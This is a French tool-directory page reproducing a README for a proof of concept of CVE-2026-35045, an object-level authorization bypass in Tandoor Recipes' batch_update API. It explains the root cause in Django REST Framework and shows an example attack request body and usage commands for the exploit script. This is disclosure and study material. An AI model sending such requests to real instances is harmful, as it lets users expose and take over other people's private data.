Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-35045-PoC — Preuve de concept d'exploitation pour CVE-2026-35045, une vulnérabilité de contrôle d'accès au niveau objet (BOLA) dans Tandoor Recipes, démontrant la modification non autorisée de recettes via le point de terminaison d'API batch_update. | Kitploit
Outils/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et Éducation
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Preuve de concept d'exploitation pour CVE-2026-35045, une vulnérabilité de contrôle d'accès au niveau objet (BOLA) dans Tandoor Recipes, démontrant la modification non autorisée de recettes via le point de terminaison d'API batch_update.

Voir le dépôt
1123il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-35045 — Autorisation au niveau objet cassée dans Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Résumé

Le point de terminaison PUT /api/recipe/batch_update/ dans Tandoor Recipes v2.6.1 permet à tout utilisateur authentifié au sein d'un Espace de modifier n'importe quelle recette de cet Espace — y compris les recettes privées appartenant à d'autres utilisateurs. Cela contourne complètement les contrôles d'autorisation au niveau objet appliqués sur tous les points de terminaison standard de recette individuelle.

La cause racine est une lacune comportementale de Django REST Framework : les actions de liste avec detail=False n'invoquent jamais has_object_permission(), uniquement has_permission(). Le queryset filtre uniquement par space=request.space, sans vérification de created_by, private ou de la liste shared. Un attaquant peut forcer l'exposition de recettes privées, s'accorder un accès persistant, révoquer les autorisations d'autres utilisateurs et falsifier les métadonnées — le tout en un seul appel API d'apparence non autorisée qui renvoie HTTP 200 OK avec un corps vide.

Détails de la vulnérabilité

ChampValeur
ID CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur
CVSS v3.18.1 ÉLEVÉE — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Version affectéeTandoor Recipes ≤ 2.6.1
FournisseurTandoorRecipes/recipes

Cartographie MITRE ATT&CK

ID de techniqueNomPertinence
T1078Comptes validesL'attaquant utilise des identifiants légitimes à faibles privilèges pour contourner l'autorisation
T1565.001Manipulation des données stockéesModification de recettes privées et de listes de contrôle d'accès appartenant à d'autres utilisateurs

Analyse de la cause racine

1. detail=False contourne les contrôles d'autorisation au niveau objet

Fichier : cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Aucune vérification created_by ou private
        )

Dans Django REST Framework, les actions enregistrées avec detail=False sont des actions de liste. Elles n'appellent jamais get_object(), ce qui signifie que check_object_permissions() et CustomRecipePermission.has_object_permission() ne sont jamais invoqués. Seul has_permission() s'exécute — ce qui vérifie l'appartenance à l'Espace, et non la propriété de la recette.

2. Les points de terminaison standard sont correctement protégés

PUT /api/recipe/{id}/ suit le flux complet d'autorisation DRF :

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → refuse l'accès si la recette est privée et non possédée/partagée avec le demandeur

Le point de terminaison batch_update saute silencieusement toute cette chaîne.

3. Champs modifiables via le lot

RecipeBatchUpdateSerializer expose les champs suivants — modifiables sur toute recette de l'Espace :

ChampEffet
privateBascule la visibilité de la recette
shared_add / shared_remove / shared_setManipule la liste de contrôle d'accès
keywords_add / keywords_remove / keywords_setModifie les métadonnées de la recette
working_time / waiting_timeModifie les données de temps de la recette

Flux d'attaque

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attaquant│ ─────────────────────────────────────→│ Serveur Tandoor │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Membre Espace)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ JAMAIS APPELÉE│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Aucune vérification de propriété
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recette ID 2  │
                                                   │  (possédée par A)│
                                                   │  private=false ← corrigé
                                                   │  shared=[2]  ← auto-accordé
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attaquant (B)  │
                                                   │ a désormais un │
                                                   │ accès complet  │
                                                   │ à la Recette 2 │
                                                   └────────────────┘

Preuve de concept

Prérequis

  • Python 3.10+
  • Bibliothèque requests
pip install requests

Utilisation

# Forcer l'exposition d'une recette privée et s'auto-accorder l'accès (par défaut)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Forcer l'exposition uniquement (définir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose
Télécharger l’outil